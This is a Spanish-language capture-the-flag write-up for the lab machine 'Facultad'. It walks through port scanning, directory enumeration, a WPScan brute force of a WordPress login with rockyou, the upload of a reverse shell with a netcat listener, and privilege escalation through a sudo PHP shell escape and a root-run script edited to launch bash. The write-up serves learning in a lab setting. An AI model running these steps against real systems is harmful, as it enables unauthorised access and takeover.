> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/mis-ctfs/facultad.md).
# Facultad
✍️ Autor: beafn28🔍 Dificultad: Fácil📅 Fecha de creación: 30/1/2025 🖥️The Hacker Labs
### 🔍 RECONOCIMIENTO
En primer lugar, tras conectarnos a la máquina, utilizamos el comando:
```bash
ping -c 1 192.168.1.61
```
para verificar la conectividad de red.
A continuación, realizamos el comando:
```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.61
```
para realizar un escaneo de puertos y servicios detallado en la dirección IP.
Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.
### 🔎 **EXPLORACIÓN**
Se utiliza el comando:
```bash
sudo nmap -sCV -p22,80 -v 192.168.1.61
```
para obtener más información sobre esos puertos específicamente.
Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea como el Studium de una asignatura en este caso se llama Administración de Sistemas.
Ahora buscaremos directorios con la herramienta **Gobuster** a través de:
```bash
gobuster dir -u http://192.168.1.61/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```
Vamos a ver el contenido del directorio`/images`.
Nos la descargamos para realizar la técnica de esteganografía.
Vemos el contenido del archivo. Descubrimos dos posibles usuarios.
Vamos a ver el contenido del directorio`/education`.
Como podemos comprobar es un WordPress por lo que añadimos el dominio **facultad.thl** a **/etc/hosts**.
### 🚀 **EXPLOTACIÓN**
Al tener el directorio wp-admin sabemos que es un panel de login pero no tenemos las credenciales por lo que con **WPScan** enumeramos el usuario.
```bash
wpscan --url http://192.168.1.61/education/ --enumerate u,vp
```
Sabiendo el usuario tenemos que conseguir la contraseña.
```bash
wpscan --url http://192.168.1.61/education/ --passwords /usr/share/wordlists/rockyou.txt --usernames facultad
```
Ingresamos las credenciales en el panel de **login**.
Vemos que hay un apartado para subir archivos por lo que adjuntamos una [ReverseShell](https://www.revshells.com/).
Nos ponemos en escucha.
```bash
nc -nlvp 443
```
Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.
### 🔐 **PRIVILEGIOS**
Al estar dentro y ejecutar:
```bash
whoami
```
aún no somos **root**, por lo que hacemos:
```bash
sudo -l
```
para ver si hay algo para explotar.
{% embed url="" %}
```bash
sudo -u gabri php -r "system('/bin/bash');"
```
Como comprobamos en el mensaje la contraseña de Vivian está en el mail de Gabri.
Mostramos el contenido que es la contraseña codificada en **Brainfuck** por lo que la decodificamos.
Iniciamos sesión con las credenciales.
Tenemos permisos de **root** para ejecutar un script.
Vemos el contenido y así podemos modificarlo para escalar privilegios. Nos damos cuenta que el script se ejecuta cada minuto en el **/etc/crontab**.
```bash
#!/bin/bash
bash
```
Ejecutamos.
```
sudo /opt/vivian/script.sh
```
Ya somos **root** por lo que ahora encontraremos la bandera en sus directorios.
Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀
